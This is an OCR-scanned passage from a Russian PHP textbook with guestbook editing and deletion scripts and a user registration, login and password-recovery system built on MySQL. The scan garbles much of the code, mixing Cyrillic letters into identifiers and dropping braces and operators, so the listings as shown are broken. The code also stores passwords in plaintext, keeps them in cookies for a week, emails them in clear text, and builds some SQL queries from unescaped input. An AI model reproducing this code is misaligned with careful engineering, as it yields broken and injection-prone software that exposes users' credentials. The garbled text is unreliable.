ответ администратора
812 Часть 11. Создание са йmа Листинг 17.7. Редакти рова ние сообщения, guestedit. php <?php // Устанавливаем соединение с базой данных require_once (" ../ ../con fig/config .php ") i // Подключаем блок авторизации requi re_once (" . ./uti1s/security_m od .php" ) ; // Подключаем классы формы requi re_once (". ./ . . /con fig/c1ass.config .dmn .php" ) ; try // Защищаем GЕТ-параметр от SQL-инъекции $_GET ['id-роs itiоп '] intva1 ( $_GET ['id_pos ition '])i if (emp ty ($_POST )) { $query "SELECT * FROM $tbl_gue stbook WНERE id_pos ition=$_GET [id_p osition] LIMIT 1" i $cat = mysq1_que ry ($querY) i if (!$cat ) } throw new ExceptionМySQL (mysq1_error () , $query, "Ошибка при обращении к гостевой книг е") ; $_REQUE ST = mys q1 fetch array ($cat) i $_REQUEST [ 'page '] = $_GET [ 'page ' ] i if ($_REQUEST [ 'hide '] == 'show ' ) $_REQUE ST [ 'hide ' ] e1se $_REQUE ST ['h ide' ] = fa1se; $пате new fie1d_t ext ("name", "Имя" , true , $_REQUE ST ['name' ]); true i
Глава 17. Го стевая книга $city = new field_t ext ("city" , $rns g $answer $hide $page $forrn "Город" , false, $_REQUE ST ['c ity' ] ); new field_textarea ( "rnsg" , "Сообщение " , true , $_REQUEST[ 'rnsg' ] ) ; new field_textarea ("answer" , new "Администратор " , false, $_REQUEST ['answe r' ] ); new field_che ckbox ("hide", "Отображать " , $_REQUEST ['h ide' ] ); new field_hidden_int ("page ", fa lse, $_REQUEST ['page ']) ; new field hidden_int ("id_p osition", forrn (array ( "пате " "city" "msg" "answer" "hide " "idy osition" "page " "Редактировать ", "field" ); true , $_REQUEST['id_pos ition' ]); => $naтe , => $city, => $rnsg, => $answer, => $hide , => $idyosition, => $page) , // Обработчик НТМL - формы if( !ernpty($_POST) ) { // Проверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $forrn->check () ; 813
814 } Часть 11, Создание сайmа if (ernp ty ( $error) ) // Скрытая или открыт ая позиция if ($forrn->fields ['h ide' ] ->value ) $showhide "ShOW" i else $showhide = "hide" ; // Формируем SQL-запрос на редактиров ание позиции $query = "UPDATE $tbl_gue stbook SET пате ' {$forrn->fields [naтe ]->value } ', city ' { $forrn->fields [city] ->value }', rnsg ' { $forrn->fields [rnsg] ->value } ', answe r '{$forrn->fields [answer] ->value }', hide '$showhide ' WНERE id_pos ition {$forrn->fields [ id_p osition] ->va lue }"; if ( !rnysql_query ($query) ) throw new Except i onМySQL (rnys ql_e rror () , $query, "ОUП1бка при редактировании сообщения" ) ; // Осуществляем редирект на главную страницу администрирования header ("Location : index .php ? ". "page= { $forrn->fields [page ] ->value } ") ; ехН(); // Начало страницы $title ,= 'Редактирование сообщения '; $pageinfo '<р clas s=help> </p> '; // Включаем ,заголовок страницы requi re_once ("../utils/top .php" ) ; echo "<р><а href=# onClick= 'history . back () '>Назад< /а></р>"; // Выводим сообщения об ОUП1бках , если они имеются if (!ernpty ($error) ) foreach ($error as $err)
� � а � в�а � 1 � 7 . � г, � о � с � m � е � ва=я�к=н=u г�а � __________________________________ __ _ ______ _ 8_ 1_5_ ?> echo "<sрап stуlе=\ "соlоr : rеd\ ">$еrr</sрап><Ьr> "; // Выв одим НТМL -форму $fоrm->рriпt_fоrm () ; саtсh(ЕхсерtiопОЬj есt $ехс ) rеquirе (" ../utils / ехсерtiоп_оЬj есt .рhр" ) ; са tсh ( ЕхсерtiопМуSQL $ехс ) require ("../utils/ехсерtiоп_rnу sql.рhр ") ; саtСh ( Ехсерt iопМешЬеr $ехс ) require ( " ../utils / ехсерt i.оп_rnernber . php " ) ; // Вкmочаем завершение страницы require_опсе (" ../utils/bottorn . php") ; Как видно из листинга 17.7, НТМL-форма для редактирования сообщения содержит два текстовых поля паrnе И city дл я имени пользователя и го рода соответственно; две текстовые обл асти rnsg и апswе r дл я сообщения и ответа адм инистратора соответственно; флажок hide для указания статуса сообще­ ния (скрыто или отображе но) и два скрытых поля: id_роs it iоп для первич­ ного кл юча редактируемой записи и page дл я номера страницы в систе ме по­ стр ан ичной навигаци и. Есл и скрипт guestedit.pllp получает РОSТ-параметр ы, в поля НТМ L-формы подставляются данные из суперглобального массива $_POST, В проти вном сл учае в них подставляются данные из табл ицы systern_guestbook ($tbl_gue stbook) . Есл и все поля заполнены ко рректно, в действие всту п ает обработчик формы, задача которого сводится к редактированию параметров НТМL-формы посредством UPDAТЕ-запроса. Администратор гостевой книги имеет также возможность удал ить сообще­ ние: для этого испол ьзуется скрипт gtlestdel . pl1p (листинг 17.8), который так­ же принимает два GЕТ-параметра: page -- номер страницы в системе по-
816 Часть 11. Создание сайmа страничной навигации и id_p o sition - первичный ключ удаляемой записи в табл иuе system guestbook ( $tbl gue stbook) . - - Листинг 17.8 . Удаление сообщения, guestdel.php <?php ?> // Устанавливаем соединение с базой данных require_опсе ( " ../ ../ config/ config . php" ) ; // Подключаем блок авторизации requi re_once (" ../utils/security_mod .php ") ; // Подключаем SoftTime FrameWork require_once (" ../ ../config /class . config .dmn.php ") ; // Пр оверяем GЕТ-параметр , предо твраща я SQL-инъекцию $_GET [ ' id_po sit ion ' ] = intval ($_GET [ ' id�o sition ' ]); try // Формируем и выполняем SQL- запрос // на удаление блока из базы данных $query = "DELETE FROM $tbl_gue stbook WНERE id position=$ GET [ id_po sition] LIMIT 1"; if (mysql_query ($query) ) header ( "Locat ion : index . php ?page=$_GET [page] ") ; else throw new Except i onМySQL (mysql_e rror () , $query, catch ( Excepti onМySQL $ехс ) "Ошибка удаления блока ") ; require ("../utils/excepti onyysql .php" ) ;
Глава 17. Го стевая книга 817 Задача скрипта из листинга 17.8 сводится к удалению сообщения с первич­ Н Ы М КЛЮЧОМ id_position из табл ицы sуstеш_ guеstЬООk ($tbl_guestbook) при помощи DЕLЕТЕ-запроса. ЗА МЕЧА НИЕ Скрипты guesthide.php и guestshow.php, ответственные за сокрытие и ото­ бражение сообщения, в данной кн иге не рассматриваются , та к как их код аналогичен коду скриптов в ранее рассмотренных приложениях. Полностью код доступен на ко мпакт-диске, поставляемом вместе с кн игой.
ГЛАВА 18 Регистрация пользователей Регистрация пользовател ей и управление их аккаунтам и на сегодня шний день является одной из самой актуал ьных задач . Для того чтобы ус пешно ко нкур ировать с другими сайтами, необходимо постоянное обновление и до­ бавление и нформации на сайте, а в идеале - автозапол нение сайта, ко гда посетител и сами запол няют сайт и нформацией, комменти руя фотографии, новости, сообщения других посетителей. Акти вное, живое обсужде ние при­ влекает дополнител ьных посетител ей, еще больше " раскручивая " ресурс. ЗА МЕЧА НИЕ Ч ем чаще обновляется информация на сайте, те м чаще его индексируют поисковые роботы . Даже бол ьшой коллектив наемных работников не спо­ собен создать объем текста , необходимый для ко нкуренции с другими сай­ та ми - добиться большого объема информации и усиленного внимания со стороны роботов и пользовател ей поиско вых систем можно, тол ько если при влечь к са йту бол ьшую аудиторию. Обладая базой данных зарегистрированных посетителей сайта, гораздо про­ ще переходить к его коммерческой экс плуатаци и, вводя разл ичные платные услуги . 18.1 . База данных При создании табл ицы пол ьзователей возникает соблазн поместить в нее множество р азличных полей, начиная с информации о поле и возрасте и з а­ ка нчивая паспортными данными, которые могут потребоваться для оказ ания ком мерческих услуг. С одной стороны, такой подход позволяет сделать таб-
Глава 18. Ре гистрация пользователей 819 лиЦУ пользователей универсальной, подходящей на все сл учаи жизни. С дру­ ГО Й стороны, заполнение большого кол ичества полей, предполагающих ввод кон ф иденциальной информации ил и информации, которую пользовател ь не хотел бы сообщать, может оттолкнуть его от регистрации (например, есл и он собирался тол ько разместить ко мментарий). Правильнее запраш и вать у посе­ тителя информацию о нем по мере надобности . Дл я это го обычно организу­ ют множество дополнительных табл иц (дл я регистрации почто вого адреса, указания личных предпочтений, участия в акциях и т. п .), кото рые связан ы с основной таблицей. Дополн ител ьные табл ицы заполняются по мере необхо­ дим ости, например, почтовый адрес целесообразно запросить тол ько то гда, ко гда посетител ь принял решение о покупке и оформил заказ : запрос тако й л и чной информации заранее может насторожить посетителя. Дан ный раздел посвящен разработке основной табл ицы system_us ers, кото­ рая будет использоваться для авторизации посетителя на саЙте . Табл ица system_users должна содержать следующие семь полей: О id_position - первичный ключ таблицы, снабженный атр ибуто м AUTO_INCREMENT, позволяющим авто матически генериро вать уникальный идентификатор для новых записей; О name - имя пол ьзователя, под которым он входит на сайт (ник); О pa ss - пароль пользователя ; О ета Н - электронный ад рес пол ьзователя, на который отправляется па­ роль при инициализации процедуры "Вспомнить пароль"; О block - поле типа ENUM, принимающее тол ько два значения: block - пользователь заблокирован, unblock - пол ьзовател ь активен; О da teregister - дата регистраци и пол ьзовател я; О lastvisit - дата последнего посещения . В листинге 18.1 приводится оператор CREATE TAB LE, создающий табл ицу s ystem_users, которая в скри птах обозначается при помощи переменной $tbl users. Листинг 18.1 . Таблица sys t. . em_users ($tbl_ aser,,) CREATE TAВLE system_ users id-po sition INT (ll) NOT NULL AUTO_INCREМENT , пате TINYTEXT NOT NULL , pass TINYTEXT NOT NULL ,
820 Часть 1/. Создание са йmа email TINYTEXT NOT NULL , block ENUM( ' b lock' , 'unb lock ') NOT NULL DEFAULT 'unb lock ', dateregister DATETIМE NOT NULL , lastvi sit DATETIМE NOT NULL , PRIМARY КЕУ (id-p os ition) ); 18.2. Регистрация пользователей Так как запол нение базы данных будет производиться посетителями сайта, целесообразно начать разработку Web-приложения с системы представлен и я. Внешний вид НТМL-формы, позволяющей пользователю зарегистрировать ся на сайте, представл ен на рис. 18.1 . .., '':. . '', �г..: : . QТtl��)-'.t:IIРвё3.: :1 �CI·1 .., �'\>OCI �CI: CC�'�fЬ!'lbl!j't: '<'I:-'n��I'!1С! E1W! ' П'Р"' '' ', 'C.'� ��� ' �': .� '...= .��='�'�'='. ��':'.':J ��I r�етЦ) "; Dn Ol 1CK L____.____. -- --1 .·",.1 ', с! КАТAl l ОГ Рис. 18.1 . НТМL-форма ДЛЯ регистр ации пользователей на сайте НТМL-форма содержит два тексто вых поля пате И ета Н дл я ввода имени пользователя и его пароля соответственно и два поля типа password, предна­ значенных для ввода пароля и его повтора (все поля являются обязател ьны­ ми). В листи нге 18.2 приводится возможная реал изация блока регистраци и. Листинг 18.2 . Регистрация пол ьзователя на сайте, register.php <?php 11 Иници ир уем сессию
Глава 18. Регистрация пользователей session_s tart () ; / / Устанавливаем соединение с базой данных require_опсе ("config/ config . php") ; / / Подключаем SoftTime FrameWork requi re_once ("c onfig/class.config . php " ); / / Подключаем функцию вывода текста с bbCode requi re_once ("drn n /utils /utils . print_page .php ") ; / / Подключаем заголовок requi re_once ("ut ils . title .php ") ; try $text "Поля , отмеченные звездочкой *, являются обязательными к заполнению" ; $fo rf fi _c ornment = new field-paragraph ($t ext) ; $пате $pass new field_text ("пате", "Ник" , true , $_REQUE ST ['name' ] ); new field_pa ssword ( "pass" , "Пароль ", true , $_REQUEST ['pass']); $passagain пеw field - pas sword ( "раssаgаiп" , $ema il $fo rf fi "Повтор" , true , $_REQUEST ['passagain' ]); new field text_ema il ("ema il ", new "E-mail" , true , $_REQUE ST ['ema i l' ]); fOrf fi ( array ("fO rf fi _cornment" => $forf fi _c ornment , "пате " => $пате , "pass" = > $pass, "passagain" => $passagain , "email" => $email), 821
822 "Зарегистрировать с я" , "main_txt ", "", Часть 11. Создание са йта "in_input ") ; // Обработчик НТМL- формы if (!ernp ty ($_POST ) ) ( // Пр оверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $form->check () ; // Пр оверяем, равны ли пароли if ($form->fields ['p ass']->value != $form->fields ['passagain' ] ->value ) $error [] "Пароли не равны" ; // Проверяем, не зарегистрирован ли ранее // пользователь с аналогичным именем $query = "SELECT COUNT (*) FROM $tbl_users WНERE пате = ' ( $form->fields [пате ] ->value ) , "; $usr = mysql_que ry ($query) ; if( !$usr) throw new ExceptionМySQL (mysql_error () , $query, "Ошибка добавления нового поль зовател я" ) ; if (mysql_re sult ($usr, О) ) $error [] "Поль зователь с таким именем уже суще ствует"; if (ernpty ($error) ) // Формируем SQL-запрос на добавление позици и $query = "INSERT INTO $tbl_us ers VALUES (NULL,
Гл ава 18. Регистрация пользователей ' { $forrn->fields [name ] ->va lue } ', ' { $forrn->fields [pass] ->value }', '{$forrn->fields [email ] ->va lue} ', 'unb lock ' , NOW (), NOW() ) "; if( !mysql_que ry ($query) ) throw new Excepti onМySQL (mysql_error ( ), $query, } II Вход на сайт "ОшиБJ<:а добавления нового поль зователя" ) ; $_SESSION ['name'] = $forrn->fields ['name' ] ->value ; $_SESSION ['id_user - роs itiоп '] = mysql_insert_id () ; II Осуществляем редир еJ<:Т на страницу , соОбщающую II об успешной регистрации header ( "Location : register_success .php " ); ехН(); II Подключаем верхний шаблон $pagename "Регистрация на сайте "; $keywords "Регистрация на сайте "; require_once ("templates /top.php" ) ; II Название страницы echo title ( $pagename) ; II Выв одим сообщения об ошиБJ<:ах , если они имеются if (!empty ($error) ) echo "<br> "; foreach ($error аз $err) 823 echo "<зрап style=\"color :red\ " class=main_txt>$err<lspan><br> ";
824 Часть 11. Создание са йта ?> // Выводим НТМL- форму $form- >print_fo rm () ; // Подключаем нижний шаблон require_once ("templateS /bottom.php" ) ; catch ( Excepti onМySQL $ехс ) require_once ("exception_my sql_debug .php " ); catch ( Excepti onМySQL $ехс ) require_once ( "exception_my sql_debug .php " ); catch ( ExceptionМember $ехс ) require_once ("e xception_memb er_debug .php " ); Обработчик НТМL-формы помещает все сообщения об ошибках в массив $error; есл и имеется хотя бы одно сообщение, НТМL-форма вы водится по­ вторно с отображением этого сообщения. Метод check () возвращает сооб­ щения, связанные с обязател ьным заполнением полей. Помимо это го, обра­ ботч ик снабжается допол нительными проверками, в частности, проверяется , равны ли введенные пароли друг другу и не был ли ранее зарегистр ирован пользовател ь с таким именем. Есл и все требования удовлетворены и массив $error не содержит ни одной записи, в табл ицу system_users ( $tbl_users) помещается новая запись, при это м авто матически осуществляется ауте нти­ фикация путем помещения в су перглобальный массив $_SESSION имени пользователя name И назначенного ему уникального первичного кл юча id_us er_pos ition. ЗА МЕЧА НИЕ Следует обратить внимание, что пароль при помещении в базу данных не шифруется - такой подход оправдан, если на са йте предусматривается процедура " Вспомнить пароль" . Если подоб ный сервис не требуется - це­ лесооб разно зашифровать пароль при помощи MySQL-функции MD5 (): да-
Гла ва 18. Ре гистрация пользователей 825 же если база да нных будет похищена злоумышленником, потребуется зна­ чительное время на восстановление хотя б ы части паролей. Есл и добавление записи прошло успеш но, посетитель перенаправляется на страницу register_success.pI1p (листи нг 18.3), на которой ему сообщается об ус пешной регистрации. Листинг 18.3. Сообщение 06 успешной регистрации, reg iste r_success.php < ?php 11 Подключаем SoftTime FrameWork require_once ("c onfig/class.config .php ") ; 1 1 Устанавливаем соединение с базой данных require_once ("config/config .php") ; 11 Подключаем заголовок require_опсе ( "utils . title . php" ) ; try 11 Подключаем верхний шаблон $pagename "Регистрация на сайте "; $keywords = "Ре гистрация на сайте "; require_once ("templates /top . php " ); 11 Название страницы echo title ( $pagename) ; echo "<div сlаs s=maiп_t хt>Поздравляем с успешной регистрацией на сайте</div> "; 11 Подключаем завершение страницы require_once ("templates /bottom. php " ); catch ( Except i onМySQL $ехс ) requi re_once ("exception_my sql_debug .php " ); catch ( Excepti onМySQL $ехс )
826 Часть 11. Создание са йта require_once ("e xceptio�mysql_debug .php " ); catch (Except ionМember $ехс ) require_once ("e xcepti on_memb er_debug .php " ); ?> 18. 3 . Аутентиф икация пользователя Для того чтобы пользовател ь имел возможность представиться с исте ме, не­ обходимо предоставить ему НТМL-форму для входа. Пользовател ь будет считаться зарегистрированным, если в суперглобальный массив сессии $_SESSION помещены элементы пате (имя пользователя) и id_user_p o sition (его пароль). Процедура авторизации будет осуществляться при помощи функции enter ( ) , которая принимает два аргумента : и мя пользователя и его пароль и возвра­ щает true В случае успешной авторизации и false - в случае неудачи . В л и стинге 18.4 представлена возможная реализация функции. ЗА МЕЧАНИЯ Функции, связанные с польз ователями, будут размещены в отдельном файле utils.useгs.php, который будет подкл ючаться при помощи директивы require_once. Листинг 18.4. Вход на сайт, функция еn ter () <?php funct ion enter ( $name , $password ) // Объявляем название таблицы глобаль ным global $tbl_us ers ; // Проверяем, соответствует ли логин паролю , // и если соответствует - осуще ствляем авторизацию $query = "SELECT * FROM $tbl users WНERE пате '$пате ' AND pas s = '$password ' AND
гл ава 18. Регистрация пользователей ?> block = 'unb1ock ' LIMIT 1"; $usr = mysq1_query ( $query} ; Н( !$us r} } throw new Except ionМySQL (mys q1_error (} , $query, "Ошибка аутентификации" } ; $user = my sq1_fet ch_a rray ($us r} ; // Вход на сайт $_SESSION ['пате' ] = $user ['пате' ]; $_SESSION ['id_us er-роsitiоп' ] = $user ['id_position' ]; // Обновляем дату последнего посещения поль зователя $query = "UPDATE $tbl_users SET 1astvisit = NOW(} WНERE id_po sition if ( !mysq1_query ($que ry) ) $user [id_p osition] "; throw new Excepti onМySQL (mys q1_error (} , $query, "Ошибка аутентификации" } ; // Возвращаем признак успешной аутентификации return true ; // Возвращаем признак неудачной аутентификации е1эе return fa1se; 827 Помимо соответствия пароля логину функция проверяет, не является ли за­ прашиваемый посетитель заблокированым (не принимает ли поле block зна­ ч ение ' block') . Есл и авторизация пройдена ус пешно, обновляется значение к алендарного поля 1astv isit, в котором хранится дата последнего посеще­ н ия сайта авторизуемым пользовател ем.
828 Часть /1. Создание са йта Помимо функци и enter () удобно ввести функцию user () (л истинг 18.5), ко­ торая принимает единственный параметр - первичный кл юч записи в табл ице system_users ($tbl_users), а возвращает массив с параметрами пользовател я . ЗА МЕЧА НИЕ Следует обратить внимание, что и в функции user () , и в функции enter ( ) переменная $tbl_u s ers, обозначающая имя табл ицы, объявлена гл обаль­ н ой ( global) : это позволяет не передавать имя табл ицы в качестве п ара­ метра функции. И спользование глобал ьных переменных не рекомендуется, однако в данной ситуации объявление переменной гл об ал ьной является оправданным, так как переменные, хранящие имена таблиц, де-факто в приложениях являются глобальными, а префикс $tbl_ искл ючает искаже­ ния значений локальных переменных. Листи н г 18.5. Получение параметров пользов ателя, фун кция user О <?php ?> funct ion user ($id_po sition) // Объявляем имя таблицы $tbl . users глобальным global $tbl_us ers ; // Предотвращаем SQL-инъекцию $id�osition = intva l ($id_pos ition) ; // Извлекаем параметры пользователя $query = "SELECT * FROM $tbl_users WНERE id_po sit ion = $id_po sition АЫО block = 'unb lock ' LIMIT 1"; $us r = my sql_que ry ($query) ; if(!$usr) throw new ExceptionМySQL (mysql_error () , $query, "Ошибка извлечения параметров поль зователя") ; if (mysql_num_rows ($us r) ) return mys ql_fetch_a rray ($usr) ; else return О;
Глава 1 8. Регистрация пользователей 829 с и спользованием функций enter () И user () НТМL-форма для авторизаци и, которая размещается в файле register_enter.php, может выгл ядеть та К,_как это представлено в листинге 18.6. НТМL-форма содержит одно текстовое поле пате для имени, поле для пароля разз И флажок remember, установив который п ол ьзовател ь получает возможность не вводить свое имя и пароль в те чение н едели (сайт "запо минает" его), в противном случае имя и пароль забываются при закрытии браузера. Так как авторизация осуществляется через сессию, сайт "помнит" пользователя тол ько в течение текущего сеанса: уникальный идентификаТ9Р сессии (SID) хран ится в сессионной cookie, которая, в свою очередь, расположена в о перати вной памяти браузера. Для того чтобы сайт " п омнил" пользовател я между сеансам и, необходимо воспользоваться обыч­ н ы м и cookie, кото рые хранятся на жестком диске и устанавливаются при по­ мощи функции setcookie ( ) (см. раздел 3.2. J). Листинг 18.6 . Вход на сайт, register_enter.php <?php // Инициируем сессию session_s tart () ; // Устанавливаем соединение с базой данных require_once ("config/config .php" ) ; // Подкточаем SoftTime FrameWork require_once ("c onfig/class.config . php " ); // Подкmoчаем функцию вывода текста с bbCode requi re_once ("dmn/utils /utils . print_page .php " ); // Подкmoчаем заголовок require_once ("utils .title .php " ); // Управление пользователями enter () , user () require_once ( "utils . users . php " ) ; try // Если поль зователь уже авторизован - инициируем // элементы НТМL-формы if (!empty ($_SESSION ['id_user_po sition' ])) // Возвращаем данные поль зователя с первичным // кmoчом id_user_po sition $user = us er ( $_SESSION[ ' id_user_pos ition ']);
830 // Инициируем элементы НТМL-формы $_REQUEST [ 'пате ' ] $user [ 'пате' ] ; $_REQUEST ['p ass '] $user ['p ass ']; Часть 1/. Создание сайта // Если данные в cookie не пусты - проверяем их if (!empt y($_COOKIE ['naтe' ]) && !emp ty ( $_COOKIE ['pass ' ])) ( // Экранируем кавычки для предотвращения // SQL- инъекции if (!get_rna gic_quote s_gpc () ) $_COOKIE [ 'пате' ] $_COOKIE [ 'pass '] rnysql_escape_string ( $_COOK IE ['naтe']); rny sql_escape_s tring ( $_COOKIE ['p ass']); // Осуще ствляем попытку авторизации с данными , // расположенными в cookie if (enter ( $_COOKIE ['naтe' ], $_COOKIE ['p as s'])) // Авт оризация пройдена успешно - инициируем // элементы НТМL-формы $_REQUEST [ 'пате' ] $_СООКН['пате']; $_REQUEST ['pass '] $_COOKIE ['pass']; // Формируем НТМL- форму $text = "Поля , отмеченные звездочкой *, являют ся обязательными к заполнению" ; $forrn_cornrnent = new field_p aragraph ($text) ; $пате = new field_text ( "пате " , $pass "Ник", true , $_REQUEST ['naтe']); new fieldyassword ("pass", "Пароль " , true , $_REQUEST ['p ass ']);
Глава 18. Регистрация пользователей $rememb er = new field_checkbox ("remember", "Запомнить " , $_REQUEST ['remember ']); $form = new form (array ("form_comment " => $form_comment , "пате" "pass" "remembe r" "Войти " , "main_txt ", "", => $пате, => $pass, => $remembe r) , "in_input ") ; 11 Обработчик НТМL-формы Н ( !empty($_POST) ) { 11 Проверяем корректность заполнения НТМL-формы 11 и обрабатываем текстовые поля $error = $form->check () ; 11 Проверяем, име ется ли в базе данных поль зователь 11 с указанным именем $query "SELECT COUNT ( *) FROM $tbl_users WНERE пате = '{$form->fi elds [пате ] ->value } '''; $usr = mysql_que ry ($query ) ; if( !$usr) throw new Excepti onМySQL (mys ql_error () , $query, "Ошибка извлечения параметров поль зователя" ) ; if (!mysql_result ($us r, О) ) $error [] "Поль зователь с таким именем не существует" ; if (empty( $error) ) { 831
832 // Проверяем, соответствует ли логин паролю if (enter ($form-> fields ['name ']->value , $form->fields ['p ass ']->value )) if ($form->fields ['remernber ']->value ) Часть 11. Создание сайта // Если отмечен флажок "Запомнить ", устанавливаем // cookie на одну неделю , в которую помещаем имя // поль зователя и его пароль ) @setcookie ("пате", urlencode ($form->fields ['name' ] ->value) , time () + 7*24*360 0) ; @setcookie ("раээ ", urlencode ($form-> fields ['pas s ']->va lue) , time () + 7*24*3600); // Перегружаем страницу heade r ("Location : $_SERVER [РНР_SELF] ") ; exit () ; // Подключаем верхний шаблон $pagename "Вход на сайт "; $keywords "Вход на сайт" ; require_once ("templates/top.php") ; // Название страницы echo title ( $pagename) ; // Выводим сообщения об ошибках, если они имеются if (!empty ($error) ) echo "<br> " ; foreach ($error аэ $err) echo "<эрап style=\"color :red\ " сlаss=maiп_tхt>$еrr</sрап><Ьr> ";
Гл а ва 18. Регистрация пользовател ей ?> // Выв одим НТМL-форму $forrn->print_forrn () ; // Подключаем нижний шаблон require_once ("templates /bottom.php" ) ; catch ( Excepti onМySQL $ехс ) require_once ("e xcepti on_mys ql_debug .php " ); catch ( ExceptionМySQL $ехс ) requi re_once ("e xception_mysql_debug .php " ); catch ( ExceptionМemb er $ехс ) require_once ("excepti on_member_debug .php ") ; 8ЗЗ Главная особенность этой формы заключается в том, что если пользователь уже авторизован, его данные подставляются в поле для имени пользователя паше и пароля pass. Для этого проверяется элемент $_SESSION ['id_user_p osition' ]:, если он содержит первичный кл юч пользовател я, посетитель авторизован и можно воспользоваться функцией user ( ) для извлечения его параметров, ко­ то рые затем подставляются в НТМL-форму через суперглобальный массив $_REQUE ST. Если посетитель не авторизован, но на его компьютере установлены cookie для имени паше И пароля pas s, осуществляется попытка авторизации при помощи функции enter () . Если авторизация пройдена успешно, параметры входа помещаются в массив $_REQUEST. Далее формируется НТМL-форма и ее обработчик, в котором проверяется , имеется ли в таблице system_ users ( $tb l_us ers) запрашиваемый пользовател ь. Если пользователь существует, осуществляется попытка авторизации при по­ мощи функции enter (). Кроме этого, проверяется наличие флажка remember; если он отмечен, устанавл иваются две cookie для имени пользователя паше И для пароля pass сроком на неделю. Если в течение недели пользователь снова зайдет на сайт, его имя и пароль будут доступны в массиве $_COOКIE.
834 Часть 1/. Создание сайта 18.4. Восста н о вление пароля Пользователи посещают огромное количество сайто в, на каждом вто ром и з которых требуется регистрация с указанием логина и пароля. Есл и пользова­ тель не испол ьзует единый пароль для всех сайтов (а это небезопасно), ему иногда очень сложно вспомнить пароль для сайта, который в последний раз посещался им полгода назад. Выходом из сложившейся ситуации является предоставление посетителям сервиса "Вспом нить пароль" , который отправ­ ляет пароль на e-mail, указанный при регистрации. Для удобства создадим функцию remernber (), которая принимает имя пользователя, извлекает его эл ектронный адрес и отправляет на него забытый пароль (листинг 18.7). Листинг 18.7 . Восстановление пароля, функция remember () <?рЬр function remernbe r($name ) // Объявляем имя таблицы $tbl_users глобальным global $tb l_us ers ; // Формируем SQL- запрос на извлечение поль зователь ских данных $query = "SELECT * FROM $tbl_us ers WНERE пате = '$пате'''; $usr = mysql_que ry ($que ry) ; if( !$usr) throw new Excepti onМySQL (mysql_e rror () , $query, "Ошибка при восстановлении пароля" ) ; // Извлекаем e-mail поль зователя $user = mysql_fetch_array ($us r) ; $thm = сопvе rt_суr_s triпg ("Восстановление пароля ", 'w' , 'k'); $ms g = "Восстановление пароля на саЙте\r\п" . "Логин - $user [name ] \r\n" . "Пароль - $user [pass ] \r\n" ; $ms g = convert_cyr_s tring (stripslashes ($ms g) , 'w' , 'k') ; $heade r = "Content-Type : text /plain ; charset=KOI8-R\r\п\r\п" ;
Гла ва 18. Регистрация пользователей ?> // Если на странице администрирования указан // адрес отправки сообщения - отправляем письмо @rnail ( $user ['ernail' ], $thm, $rns g, $header) ; 835 Восстановление будет проходить на странице remember.pl1p (л истинг 18.8). Если посетитель авторизован, никакой дополнительной информации у него запрашиваться не будет: пароль будет отправляться ему на e-mail после на­ жатия на ссылку, ведущую на страницу remember.php. Если посетитель в данный момент не авторизован, ему будет предложено ввести свой ник. Листи нг 18.8 . Страница восста новления пароля remember.php <?php / / Инициируем сессию session_s tart () ; // Устанавливаем соединение с базой данных require_once ("config/config .php") ; // Подключаем SoftTime FraтeWork require_once ("config/class.config . php " ); // Подключаем функцию вывода текста с bb Code require_опсе ( "dmn/utils/utils . print_p age . php " ) ; 1 / Подключаем заголовок requi re_once ("utils .title .php " ); / 1 Управление поль зователями enter () , user () , remembe r() requi re_once ("utils . users .php " ); try / 1 Если поль зователь уже авторизован - высылаем // ему на почту пароль Н( !empty ($_SESSION [ 'пате'] )) // Отправляем пароль поль зователю remembe r($_SE SSION ['naтe' ] ); // Переходим на страницу , сообщающую об успешной отправке пароля header ( "Location : remembe r_success .php " ); ехН();
836 Часть 11. Создание сайта / / Комментарий $text = "поля , отмеченные звездочкой * , являются "обязательными к заполнению "; $form_cornment = new field_paragraph ($text) ; $пате new f ield_text ( "пате " , rnsg ("Ник") , true , $_REQUEST['name']); $form new form ( array ("form_cornment " => $form_cornment , "пате " => $пате) , "Выслать пароль " , "main_txt " , "", "in_input ") ; // Обработчик НТМL-формы if ( ! emptу ($_POST) ) // Проверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $form->check () ; // Пр оверяем, не зарегистрирован ли ранее поль зователь // с аналогичным именем $query = "SELECT СОИNТ (*) FROM $tbl_us ers WНERE пате = '{$ form->fields [name ] ->value )'' '; $usr = mysql_que ry ($query) ; if (!$usr) throw new ExceptionМySQL (mys ql_error () , $query, "Ошибка при восстановлении пароля" ) ; if (!mysql_re sult ($us r, О) ) $error [] rnsg ( "Поль зователь с таким именем не суще ствует ") ;
Глава 18. Регистрация пользователей if (empty ($error) ) II Отправляем пароль поль зователю remernber ($form->fiеlds ['пamе' J ->vаluе ) ; 837 II Переходим на страницу , сообщающую об успешной отправке пароля header ( "Location : remernber_success .php " ); exit () ; II Подключаем верхний шаблон $pagename "Вспомнить пароль "; $keywords "Вспомнить пароль "; requi re_once ("templates /top.php" ) ; II Название страницы echo title ( $pagename) ; II Выв одим сообщения об ошибках , если они имеются if ( !empty ($error) ) echo "<br>" ; foreach ($error as $err) echo "<span style=\ "color :red\ " class=main_txt>$err<lspan><br> "; } II Выв одим НТМL-форму $form->print_form () ; II Подключаем нижний шаблон require_once ("temp lates /bottom.php" ) ; catch ( ExceptionМySQL $ехс ) require_once ("exception_my sql_debug .php " );
838 Часть 11. Создание са йта catch ( ExceptionМySQL $ехс ) require_once ("except ion_my sql_debug .php " ); catch ( Except i onМember $ехс ) require_once ("e xcept ion_memb er_debug . php " ); ?> Есл и восстано вл ение пароля прошло успешно, посетител ь переправляется н а стран ицу remember_success.php, выводящую фразу "Парол ь выслан на элек­ тронный адрес, указанный при регистрации". 18.5. С истема ад м инистрирования Система ад министрирования позволяет добавлять, редактировать, блокиро­ вать и удалять пол ьзо вателей и состоит из девяти файлов: О index.pl1p - главная стран ица, выводящая постран ичный список всех за­ регистрированных пользователей; О lI sradd.pl1p - НТМL-форма для добавления нового пользователя в систе - му; О usredit.pl1p - НТМL-форма для редакти рования данных пользователя; О usrdel.pJ1p - скрипт, позволяющий удалять пользователя; О usrblock.php - скрипт, позволяющий заблокировать пользователя (поль­ зовател ь не сможет авторизоваться); О usrunblock.php - скрипт, позволяющий разблокировать ранее заблокиро­ ванного пол ьзователя; О usrdetail.pl1p - вывод подробной информации о пользователе; О fiJter.pl1p - НТМL-форма для установления временного интервала дл я даты регистрации пользовател ей (будут выводиться тол ько те пользова­ тел и, дата регистрации которых попадает в этот интервал); О fiJterset.pl1p - обработчик 